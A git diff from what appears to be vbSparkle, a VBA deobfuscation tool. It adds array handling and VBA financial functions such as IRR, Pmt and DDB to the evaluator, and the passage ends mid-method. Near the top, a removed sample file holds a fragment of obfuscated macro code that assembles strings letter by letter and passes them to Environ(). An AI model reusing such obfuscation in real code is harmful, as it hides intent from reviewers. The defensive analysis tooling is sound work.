"az" - -Dim xx01001 As String: xx01001 = "o" -Dim xx0106 As String: xx0106 = "f" -Dim xx0107 As String: xx0107 = "g" -Dim xx0108 As String: xx0108 = "h" -Dim xx010002 As String: xx010002 = "y" -Dim xx01004 As String: xx01004 = "r" - -Dim xx01010 As String: xx01010 = "j" -Dim xx01011 As String: xx01011 = "k" -Dim xx010l2 As String: xx010l2 = "l" -Dim xx01013 As String: xx01013 = "m" -Dim xx0100x1 As String: xx0100x1 = "." -Dim xx01009 As String: xx01009 = "w" -Dim xx010001 As String: xx010001 = "x" - -Dim xx01000 As String: xx01000 = "n" -Dim xx0102 As String: xx0102 = "b" - -Dim xx01002 As String: xx01002 = "p" -Dim xx0103 As String: xx0103 = "c" -Dim xx010q03 As String: xx010q03 = "q" -Dim xx010l03 As String: xx010l03 = "\" - - -Dim fpx As String: fpx = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101) \ No newline at end of file + lowerBound = LBound(arr,1) + \ No newline at end of file diff --git a/Resources/samples/sample_91.txt b/Resources/samples/sample_91.txt new file mode 100644 index 0000000..e835caf --- /dev/null +++ b/Resources/samples/sample_91.txt @@ -0,0 +1,5 @@ + + arr = Array(1, 2, 3, "Hello", 5.5) + + lowerBound = LBound(arr,1) + \ No newline at end of file diff --git a/Resources/samples/sample_92.txt b/Resources/samples/sample_92.txt new file mode 100644 index 0000000..c4f29ec --- /dev/null +++ b/Resources/samples/sample_92.txt @@ -0,0 +1,10 @@ + + Dim TestSplit + TestSplit = Split("v1;v2;v3", ";") + TestSplit(1) = "yop" + + Dim testjoin + testjoin = Join(TestSplit) + Debug.Print testjoin + Debug.Print TestSplit(2) + \ No newline at end of file diff --git a/Sources/.vscode/launch.json b/Sources/.vscode/launch.json index b1784f6..3134979 100644 --- a/Sources/.vscode/launch.json +++ b/Sources/.vscode/launch.json @@ -8,9 +8,9 @@ "type": "antlr-debug", "request": "launch", "name": "Debug Current Grammar", - "input": "", + "input": "D:\\Git\\Public\\vbSparkle\\Resources\\samples\\sample_92.txt", "visualParseTree": true, - "startRule": "inlineBlock", + "startRule": "startRule", "grammar": "${file}" }, { diff --git a/Sources/Sources.generated.sln b/Sources/Sources.generated.sln new file mode 100644 index 0000000..6d96137 --- /dev/null +++ b/Sources/Sources.generated.sln @@ -0,0 +1,37 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.5.002.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle", "vbSparkle\vbSparkle.csproj", "{CD1B4478-A56B-475A-8A05-C9A31414BD05}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle.CLI", "vbSparkle.Console\vbSparkle.CLI.csproj", "{A9B7FAC4-22B6-41D0-9A12-6868204C2C43}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle.Web", "vbSparkle.Web\vbSparkle.Web.csproj", "{F2D6AE95-9E88-49D4-B48C-5B2D13553924}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {CD1B4478-A56B-475A-8A05-C9A31414BD05}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {CD1B4478-A56B-475A-8A05-C9A31414BD05}.Debug|Any CPU.Build.0 = Debug|Any CPU + {CD1B4478-A56B-475A-8A05-C9A31414BD05}.Release|Any CPU.ActiveCfg = Release|Any CPU + {CD1B4478-A56B-475A-8A05-C9A31414BD05}.Release|Any CPU.Build.0 = Release|Any CPU + {A9B7FAC4-22B6-41D0-9A12-6868204C2C43}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {A9B7FAC4-22B6-41D0-9A12-6868204C2C43}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A9B7FAC4-22B6-41D0-9A12-6868204C2C43}.Release|Any CPU.ActiveCfg = Release|Any CPU + {A9B7FAC4-22B6-41D0-9A12-6868204C2C43}.Release|Any CPU.Build.0 = Release|Any CPU + {F2D6AE95-9E88-49D4-B48C-5B2D13553924}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F2D6AE95-9E88-49D4-B48C-5B2D13553924}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F2D6AE95-9E88-49D4-B48C-5B2D13553924}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F2D6AE95-9E88-49D4-B48C-5B2D13553924}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {0D824770-F814-4AE7-A4B3-031E98086E8C} + EndGlobalSection +EndGlobal diff --git a/Sources/vbSparkle.Console/Properties/launchSettings.json b/Sources/vbSparkle.Console/Properties/launchSettings.json index f9766d8..7fdcdde 100644 --- a/Sources/vbSparkle.Console/Properties/launchSettings.json +++ b/Sources/vbSparkle.Console/Properties/launchSettings.json @@ -1,20 +1,18 @@ { "profiles": { "Help": { - "commandName": "Project", - "commandLineArgs": "" + "commandName": "Project" }, "Sample_7": { "commandName": "Project", - "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_11.txt" + "commandLineArgs": "-p D:\\Git\\Public\\vbSparkle\\Resources\\samples\\sample_92.txt" }, "Sample_10": { "commandName": "Project", "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_10.txt --sym-rename-mode All" }, "vbSparkle.Console": { - "commandName": "Project", - "commandLineArgs": "" + "commandName": "Project" } } } \ No newline at end of file diff --git a/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs b/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs index 2190ee1..8fcf28b 100644 --- a/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs +++ b/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs @@ -7,6 +7,45 @@ namespace vbSparkle.EvaluationObjects { + public class DArrayExpression : DExpression + { + public List Items { get; set; } + + public DArrayExpression(int ubound) + { + Items = (new DExpression[ubound+1]).ToList(); + } + public DArrayExpression(IEnumerable array) + { + Items = array.ToList(); + } + + public override bool IsValuable { get => true; set => throw new System.NotImplementedException(); } + public override bool HasSideEffet { get => false; set => throw new System.NotImplementedException(); } + + public override string ToExpressionString() + { + string[] dExpressions = Items.Select(v=> v.ToExpressionString()).ToArray(); + return "Array(" + string.Join(", ", dExpressions) + ")"; + } + + public override string ToValueString() + { + return ToExpressionString(); + } + + public DExpression this[int index] + { + get => Items[index]; + set => Items[index] = value; + } + + internal override SymbolicExpression GetSymExp() + { + return SymbolicExpression.Variable(ToExpressionString()); + } + } + internal class DComplexStringExpression : DExpression, IStringExpression { diff --git a/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_S_ProcedureOrArrayCallStatement.cs b/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_S_ProcedureOrArrayCallStatement.cs index 132f015..a2c016e 100644 --- a/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_S_ProcedureOrArrayCallStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_S_ProcedureOrArrayCallStatement.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.Linq; +using vbSparkle.EvaluationObjects; namespace vbSparkle { @@ -79,6 +80,38 @@ public DExpression Evaluate() { if (CallArgs.Count() == 0) return (identifiedObject as VbUserVariable).TryEvaluate(); + else + { + try + { + var objArray = (identifiedObject as VbUserVariable); + DArrayExpression arrExp = objArray.CurrentValue as DArrayExpression; + + if (arrExp != null) + { + if (CallArgs.Count == 1) + { + var argLevel1 = CallArgs[0]; + if (argLevel1.Count() == 1) + { + DExpression idxExp = argLevel1[0].ValueStatement.Evaluate(); + int idx; + if (vbSparkle.NativeMethods.Converter.TryGetInt32Value(idxExp, out idx)) + { + if (idx < arrExp.Items.Count) + { + DExpression valueExp = arrExp.Items[idx]; + return valueExp; + } + } + } + } + } + } + catch (Exception ex) + { + } + } } return GetAssignableExpression(true); diff --git a/Sources/vbSparkle/LanguageStatements/Functions/Financial.cs b/Sources/vbSparkle/LanguageStatements/Functions/Financial.cs new file mode 100644 index 0000000..882d7e7 --- /dev/null +++ b/Sources/vbSparkle/LanguageStatements/Functions/Financial.cs @@ -0,0 +1,209 @@ +using System; + +namespace vbSparkle.NativeMethods +{ + public class Financial + { + + // + // Summary: + // Indicates when payments are due when calling financial methods. + public enum DueDate + { + // + // Summary: + // Falls at the end of the date interval. + EndOfPeriod = 0, + // + // Summary: + // Falls at the beginning of the date interval. + BegOfPeriod = 1 + } + + public static double CalculateIRR(double[] values, double guess) + { + const double tolerance = 1e-10; // Mimicking VBA's precision + const int maxIterations = 20; // VBA limits iterations to 20 + double irr = guess; + + for (int i = 0; i < maxIterations; i++) + { + double npv = 0.0; + double npvDerivative = 0.0; + + for (int t = 0; t < values.Length; t++) + { + double denominator = Math.Pow(1.0 + irr, t); + npv += values[t] / denominator; + npvDerivative -= t * values[t] / (denominator * (1.0 + irr)); + } + + double newIrr = irr - npv / npvDerivative; + + if (Math.Abs(newIrr - irr) < tolerance) + { + return Financial.TruncateToPrecision(newIrr, 15); // Truncate to match VBA precision + } + + irr = newIrr; + } + + throw new Exception("IRR did not converge"); + } + + public static double TruncateToPrecision(double value, int decimalPlaces) + { + double factor = Math.Pow(10, decimalPlaces); + return Math.Truncate(value * factor) / factor; + } + + public static double MIRR(ref double[] ValueArray, double FinanceRate, double ReinvestRate) + { + if (ValueArray.Rank != 1) + { + throw new InvalidOperationException(); + } + int num7 = 0; + int num6 = (ValueArray.GetUpperBound(0) - num7) + 1; + if (FinanceRate == -1.0) + { + throw new InvalidOperationException(); + } + if (ReinvestRate == -1.0) + { + throw new InvalidOperationException(); + } + if (num6 <= 1) + { + throw new InvalidOperationException(); + } + double num = LDoNPV(FinanceRate, ref ValueArray, -1); + if (num == 0.0) + { + throw new InvalidOperationException(); + } + double num2 = LDoNPV(ReinvestRate, ref ValueArray, 1); + double x = ReinvestRate + 1.0; + double y = num6; + double num4 = (-num2 * Math.Pow(x, y)) / (num * (FinanceRate + 1.0)); + if (num4 < 0.0) + { + throw new InvalidOperationException(); + } + x = 1.0 / (num6 - 1.0); + return (Math.Pow(num4, x) - 1.0); + } + + private static double LDoNPV(double Rate, ref double[] ValueArray, int iWNType) + { + bool flag2 = iWNType < 0; + bool flag = iWNType > 0; + double num = 1.0; + double num2 = 0.0; + int num6 = 0; + int num8 = ValueArray.GetUpperBound(0); + for (int i = num6; i <= num8; i++) + { + double num3 = ValueArray[i]; + num += num * Rate; + if ((!flag2 || (num3 <= 0.0)) && (!flag || (num3 >= 0.0))) + { + num2 += num3 / num; + } + } + return num2; + } + public static double FV(double Rate, double NPer, double Pmt, double PV = 0.0, DueDate Due = 0) + { + return FV_Internal(Rate, NPer, Pmt, PV, Due); + } + + private static double FV_Internal(double Rate, double NPer, double Pmt, double PV = 0.0, DueDate Due = 0) + { + double num; + if (Rate == 0.0) + { + return (-PV - (Pmt * NPer)); + } + if (Due != DueDate.EndOfPeriod) + { + num = 1.0 + Rate; + } + else + { + num = 1.0; + } + double x = 1.0 + Rate; + double num2 = Math.Pow(x, NPer); + return ((-PV * num2) - (((Pmt / Rate) * num) * (num2 - 1.0))); + } + + + public static double IPmt(double Rate, double Per, double NPer, double PV, double FV = 0.0, DueDate Due = 0) + { + double num; + if (Due != DueDate.EndOfPeriod) + { + num = 2.0; + } + else + { + num = 1.0; + } + if ((Per <= 0.0) || (Per >= (NPer + 1.0))) + { + throw new InvalidOperationException(); + } + if ((Due != DueDate.EndOfPeriod) && (Per == 1.0)) + { + return 0.0; + } + double pmt = PMT_Internal(Rate, NPer, PV, FV, Due); + if (Due != DueDate.EndOfPeriod) + { + PV += pmt; + } + return (FV_Internal(Rate, Per - num, pmt, PV, DueDate.EndOfPeriod) * Rate); + } + + public static double Pmt(double Rate, double NPer, double PV, double FV = 0.0, DueDate Due = 0) + { + return PMT_Internal(Rate, NPer, PV, FV, Due); + } + + private static double PMT_Internal(double Rate, double NPer, double PV, double FV = 0.0, DueDate Due = 0) + { + double num; + if (NPer == 0.0) + { + throw new InvalidOperationException(); + } + if (Rate == 0.0) + { + return ((-FV - PV) / NPer); + } + if (Due != DueDate.EndOfPeriod) + { + num = 1.0 + Rate; + } + else + { + num = 1.0; + } + double x = Rate + 1.0; + double num2 = Math.Pow(x, NPer); + return (((-FV - (PV * num2)) / (num * (num2 - 1.0))) * Rate); + } + + public static double PPmt(double Rate, double Per, double NPer, double PV, double FV = 0.0, DueDate Due = 0) + { + if ((Per <= 0.0) || (Per >= (NPer + 1.0))) + { + throw new InvalidOperationException(); + } + double num2 = PMT_Internal(Rate, NPer, PV, FV, Due); + double num = IPmt(Rate, Per, NPer, PV, FV, Due); + return (num2 - num); + } + } +} diff --git a/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs b/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs index 3ccda88..089bdaf 100644 --- a/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs +++ b/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs @@ -1,4 +1,5 @@ using MathNet.Symbolics; +using Microsoft.VisualBasic; using System; using System.Collections.Generic; using System.Linq; @@ -158,12 +159,1556 @@ public override DExpression Evaluate(params DExpression[] args) } } + public class VB_FV : VbNativeFunction + { + public VB_FV(IVBScopeObject context) + : base(context, "FV") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, nper, pmt, pv = 0.0; + int type = (int)Financial.DueDate.EndOfPeriod; + + // Retrieve mandatory arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out nper) || + !Converter.TryGetDoubleValue(args[2], out pmt)) + { + return DefaultExpression(args); + } + + // Retrieve optional arguments + if (args.Length > 3 && !Converter.TryGetDoubleValue(args[3], out pv)) + { + pv = 0.0; // Default value if not provided + } + + if (args.Length > 4 && !Converter.TryGetInt32Value(args[4], out type)) + { + type = (int)Financial.DueDate.EndOfPeriod; // Default value if not provided + } + + // Calculate FV + double fv = Financial.FV(rate, nper, pmt, pv, (Financial.DueDate)type); + + return new DMathExpression(fv) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + + } + + public class VB_DDB : VbNativeFunction + { + public VB_DDB(IVBScopeObject context) + : base(context, "DDB") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double cost, salvage, life, period; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out cost) || + !Converter.TryGetDoubleValue(args[1], out salvage) || + !Converter.TryGetDoubleValue(args[2], out life) || + !Converter.TryGetDoubleValue(args[3], out period)) + { + return DefaultExpression(args); + } + + // Calculate DDB + double rate = 2.0 / life; + double depreciation = cost * Math.Pow(1 - rate, period - 1) * rate; + + // Ensure depreciation doesn't go below the salvage value + double accumulatedDepreciation = cost * (1 - Math.Pow(1 - rate, period)); + if (accumulatedDepreciation > (cost - salvage)) + { + depreciation = cost - salvage - accumulatedDepreciation + depreciation; + } + + return new DMathExpression(depreciation) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + public class VB_IPmt : VbNativeFunction + { + public VB_IPmt(IVBScopeObject context) + : base(context, "IPmt") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, per, nper, pv; + double fv = 0.0; // Default value for future value + int type = 0; // Default value for type (end of period) + + // Retrieve mandatory arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out per) || + !Converter.TryGetDoubleValue(args[2], out nper) || + !Converter.TryGetDoubleValue(args[3], out pv)) + { + return DefaultExpression(args); + } + + // Retrieve optional arguments + if (args.Length > 4 && !Converter.TryGetDoubleValue(args[4], out fv)) + { + fv = 0.0; // Default if not provided + } + + if (args.Length > 5 && !Converter.TryGetInt32Value(args[5], out type)) + { + type = 0; // Default if not provided (0 = end of period, 1 = beginning) + } + + // Calculate the interest payment + double ipmt = Financial.IPmt(rate, per, nper, pv, fv, (Financial.DueDate)type); + + return new DMathExpression(ipmt) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + + public class VB_IRR : VbNativeFunction + { + public VB_IRR(IVBScopeObject context) + : base(context, "IRR") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + DArrayExpression cashFlowsArray; + double guess = 0.1; + + // Retrieve the array of cash flows + if (!Converter.TryGetArrayExpression(args[0], out cashFlowsArray)) + { + return DefaultExpression(args); + } + + // Optionally retrieve the guess value + if (args.Length > 1 && !Converter.TryGetDoubleValue(args[1], out guess)) + { + return DefaultExpression(args); + } + + // Convert the array items to doubles, return default if conversion fails + double[] cashFlows = new double[cashFlowsArray.Items.Count]; + for (int i = 0; i < cashFlowsArray.Items.Count; i++) + { + if (!Converter.TryGetDoubleValue(cashFlowsArray.Items[i], out cashFlows[i])) + { + return DefaultExpression(args); + } + } + + // Calculate IRR using Newton-Raphson method or similar + double irr = (double)Financial.CalculateIRR(cashFlows, guess); + + return new DMathExpression(irr) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + + } + + public class VB_MIRR : VbNativeFunction + { + public VB_MIRR(IVBScopeObject context) + : base(context, "MIRR") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + DArrayExpression cashFlowsArray; + double financeRate, reinvestRate; + + // Retrieve the array of cash flows + if (!Converter.TryGetArrayExpression(args[0], out cashFlowsArray)) + { + return DefaultExpression(args); + } + + // Retrieve finance rate and reinvestment rate + if (!Converter.TryGetDoubleValue(args[1], out financeRate) || + !Converter.TryGetDoubleValue(args[2], out reinvestRate)) + { + return DefaultExpression(args); + } + + // Convert the array items to doubles, return default if conversion fails + double[] cashFlows = new double[cashFlowsArray.Items.Count]; + for (int i = 0; i < cashFlowsArray.Items.Count; i++) + { + if (!Converter.TryGetDoubleValue(cashFlowsArray.Items[i], out cashFlows[i])) + { + return DefaultExpression(args); + } + } + + // Calculate MIRR + double mirr = Financial.MIRR(ref cashFlows, financeRate, reinvestRate); + + return new DMathExpression(mirr) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + + } + + public class VB_NPV : VbNativeFunction + { + public VB_NPV(IVBScopeObject context) + : base(context, "NPV") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate; + DArrayExpression cashFlowsArray; + + // Retrieve the discount rate and cash flows + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetArrayExpression(args[1], out cashFlowsArray)) + { + return DefaultExpression(args); + } + + // Convert the array items to doubles, return default if conversion fails + double[] cashFlows = new double[cashFlowsArray.Items.Count]; + for (int i = 0; i < cashFlowsArray.Items.Count; i++) + { + if (!Converter.TryGetDoubleValue(cashFlowsArray.Items[i], out cashFlows[i])) + { + return DefaultExpression(args); + } + } + + // Calculate NPV + double npv = 0; + for (int t = 0; t < cashFlows.Length; t++) + { + npv += cashFlows[t] / Math.Pow(1 + rate, t + 1); + } + + return new DMathExpression(npv) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + + public class VB_Pmt : VbNativeFunction + { + public VB_Pmt(IVBScopeObject context) + : base(context, "Pmt") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, nper, pv, fv = 0; + int type = 0; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out nper) || + !Converter.TryGetDoubleValue(args[2], out pv)) + { + return DefaultExpression(args); + } + + // Optional arguments + if (args.Length > 3 && !Converter.TryGetDoubleValue(args[3], out fv)) + { + return DefaultExpression(args); + } + + if (args.Length > 4 && !Converter.TryGetInt32Value(args[4], out type)) + { + return DefaultExpression(args); + } + + // Calculate Pmt + double pmt; + if (rate == 0) + { + pmt = -(pv + fv) / nper; + } + else + { + pmt = -((pv * Math.Pow(1 + rate, nper) + fv) / ((1 + rate * type) * (Math.Pow(1 + rate, nper) - 1) / rate)); + } + + return new DMathExpression(pmt) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + public class VB_PPmt : VbNativeFunction + { + public VB_PPmt(IVBScopeObject context) + : base(context, "PPmt") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, per, nper, pv; + double fv = 0.0; // Default value for future value + int type = 0; // Default value for type (end of period) + + // Retrieve mandatory arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out per) || + !Converter.TryGetDoubleValue(args[2], out nper) || + !Converter.TryGetDoubleValue(args[3], out pv)) + { + return DefaultExpression(args); + } + + // Retrieve optional arguments + if (args.Length > 4 && !Converter.TryGetDoubleValue(args[4], out fv)) + { + fv = 0.0; // Default if not provided + } + + if (args.Length > 5 && !Converter.TryGetInt32Value(args[5], out type)) + { + type = 0; // Default if not provided (0 = end of period, 1 = beginning) + } + + // Calculate PPmt + double ppmt = Financial.PPmt(rate, per, nper, pv, fv, (Financial.DueDate)type); + + return new DMathExpression(ppmt) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + + public class VB_PV : VbNativeFunction + { + public VB_PV(IVBScopeObject context) + : base(context, "PV") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, nper, pmt, fv = 0; + int type = 0; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out nper) || + !Converter.TryGetDoubleValue(args[2], out pmt)) + { + return DefaultExpression(args); + } + + // Optional arguments + if (args.Length > 3 && !Converter.TryGetDoubleValue(args[3], out fv)) + { + return DefaultExpression(args); + } + + if (args.Length > 4 && !Converter.TryGetInt32Value(args[4], out type)) + { + return DefaultExpression(args); + } + + // Calculate PV + double pv; + if (rate == 0) + { + pv = -(pmt * nper + fv); + } + else + { + pv = -((fv + pmt * (1 + rate * type) * (Math.Pow(1 + rate, nper) - 1) / rate) / Math.Pow(1 + rate, nper)); + } + + return new DMathExpression(pv) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + public class VB_Rate : VbNativeFunction + { + public VB_Rate(IVBScopeObject context) + : base(context, "Rate") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double nper, pmt, pv, fv = 0; + int type = 0; + double guess = 0.1; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out nper) || + !Converter.TryGetDoubleValue(args[1], out pmt) || + !Converter.TryGetDoubleValue(args[2], out pv)) + { + return DefaultExpression(args); + } + + // Optional arguments + if (args.Length > 3 && !Converter.TryGetDoubleValue(args[3], out fv)) + { + return DefaultExpression(args); + } + + if (args.Length > 4 && !Converter.TryGetInt32Value(args[4], out type)) + { + return DefaultExpression(args); + } + + if (args.Length > 5 && !Converter.TryGetDoubleValue(args[5], out guess)) + { + return DefaultExpression(args); + } + + // Calculate Rate using Newton-Raphson method + double rate = CalculateRate(nper, pmt, pv, fv, type, guess); + + return new DMathExpression(rate) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + + private double CalculateRate(double nper, double pmt, double pv, double fv, int type, double guess) + { + const double tolerance = 1e-6; + const int maxIterations = 100; + double rate = guess; + + for (int i = 0; i < maxIterations; i++) + { + double fValue = pv * Math.Pow(1 + rate, nper) + pmt * (1 + rate * type) * (Math.Pow(1 + rate, nper) - 1) / rate + fv; + double fDerivative = nper * pv * Math.Pow(1 + rate, nper - 1) - pmt * (1 + rate * type) * (Math.Pow(1 + rate, nper) - 1) / (rate * rate) + nper * pmt * (1 + rate * type) * Math.Pow(1 + rate, nper - 1) / rate; + + double newRate = rate - fValue / fDerivative; + + if (Math.Abs(newRate - rate) < tolerance) + { + return newRate; + } + + rate = newRate; + } + + throw new Exception("Rate did not converge"); + } + } + public class VB_SLN : VbNativeFunction + { + public VB_SLN(IVBScopeObject context) + : base(context, "SLN") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double cost, salvage, life; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out cost) || + !Converter.TryGetDoubleValue(args[1], out salvage) || + !Converter.TryGetDoubleValue(args[2], out life)) + { + return DefaultExpression(args); + } + + // Calculate SLN + double depreciation = (cost - salvage) / life; + + return new DMathExpression(depreciation) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + public class VB_SYD : VbNativeFunction + { + public VB_SYD(IVBScopeObject context) + : base(context, "SYD") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double cost, salvage, life, period; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out cost) || + !Converter.TryGetDoubleValue(args[1], out salvage) || + !Converter.TryGetDoubleValue(args[2], out life) || + !Converter.TryGetDoubleValue(args[3], out period)) + { + return DefaultExpression(args); + } + + // Calculate SYD + double sumOfYearsDigits = (life * (life + 1)) / 2; + double depreciation = ((cost - salvage) * (life - period + 1)) / sumOfYearsDigits; + + return new DMathExpression(depreciation) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + public class VB_NPer : VbNativeFunction + { + public VB_NPer(IVBScopeObject context) + : base(context, "NPer") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, pmt, pv, fv = 0; + int type = 0; + + // Retrieve arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out pmt) || + !Converter.TryGetDoubleValue(args[2], out pv)) + { + return DefaultExpression(args); + } + + // Optional arguments + if (args.Length > 3 && !Converter.TryGetDoubleValue(args[3], out fv)) + { + return DefaultExpression(args); + } + + if (args.Length > 4 && !Converter.TryGetInt32Value(args[4], out type)) + { + return DefaultExpression(args); + } + + // Calculate NPer + double nper; + if (rate == 0) + { + nper = -(pv + fv) / pmt; + } + else + { + nper = Math.Log((pmt * (1 + rate * type) - fv * rate) / (pv * rate + pmt * (1 + rate * type))) / Math.Log(1 + rate); + } + + return new DMathExpression(nper) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + + + + public class VB_Array : VbNativeFunction + { + public VB_Array(IVBScopeObject context) + : base(context, "Array") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + // Create a new DArrayExpression from the provided arguments + var arrayExpression = new DArrayExpression(args); + + // Return the DArrayExpression + return arrayExpression; + } + } + + public class VB_LBound : VbNativeFunction + { + public VB_LBound(IVBScopeObject context) + : base(context, "LBound") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + DArrayExpression arrayExpression; + int dimension = 1; // Default dimension is 1 + + // Retrieve the array + if (!Converter.TryGetArrayExpression(args[0], out arrayExpression)) + { + return DefaultExpression(args); + } + + // Optionally retrieve the dimension (1-based index) + if (args.Length > 1 && !Converter.TryGetInt32Value(args[1], out dimension)) + { + return DefaultExpression(args); + } + + if (dimension != 1) + { + throw new ArgumentException("Only single-dimensional arrays are supported."); + } + + // In VBA, the default lower bound is typically 0 + return new DMathExpression(0) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + public class VB_UBound : VbNativeFunction + { + public VB_UBound(IVBScopeObject context) + : base(context, "UBound") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + DArrayExpression arrayExpression; + int dimension = 1; // Default dimension is 1 + + // Retrieve the array + if (!Converter.TryGetArrayExpression(args[0], out arrayExpression)) + { + return DefaultExpression(args); + } + + // Optionally retrieve the dimension (1-based index) + if (args.Length > 1 && !Converter.TryGetInt32Value(args[1], out dimension)) + { + return DefaultExpression(args); + } + + if (dimension != 1) + { + throw new ArgumentException("Only single-dimensional arrays are supported."); + } + + // Return the upper bound, which is the count of items minus one + int upperBound = arrayExpression.Items.Count - 1; + return new DMathExpression(upperBound) { HasSideEffet = false }; + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + public class VB_Join : VbNativeFunction + { + public VB_Join(IVBScopeObject context) + : base(context, "Join") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + DArrayExpression arrayExpr; + string delimiter = " "; // Default delimiter + + // Retrieve the array + if (!Converter.TryGetArrayExpression(args[0], out arrayExpr)) + { + return DefaultExpression(args); + } + + // Retrieve the delimiter if provided + if (args.Length > 1) + { + if (!Converter.TryGetStringValue(args[1], out delimiter)) + { + delimiter = " "; // Default to space if conversion fails + } + } + + // Convert the array items to strings + List items = new List(); + foreach (var item in arrayExpr.Items) + { + string strItem; + if (Converter.TryGetStringValue(item, out strItem)) + { + items.Add(strItem); + } + else + { + return DefaultExpression(args); + //items.Add(item.ToExpressionString()); // Fallback to the expression string + } + } + + // Join the items with the specified delimiter + string result = string.Join(delimiter, items); + + return new DSimpleStringExpression(result, Encoding.Unicode, Context.Options); + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + public class VB_Split : VbNativeFunction + { + public VB_Split(IVBScopeObject context) + : base(context, "Split") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + string expression; + string delimiter = " "; // Default delimiter + int limit = -1; // Default limit (no limit) + int compare = 0; // Default comparison type (binary) + + // Retrieve the string to split + if (!Converter.TryGetStringValue(args[0], out expression)) + { + return DefaultExpression(args); + } + + // Retrieve the 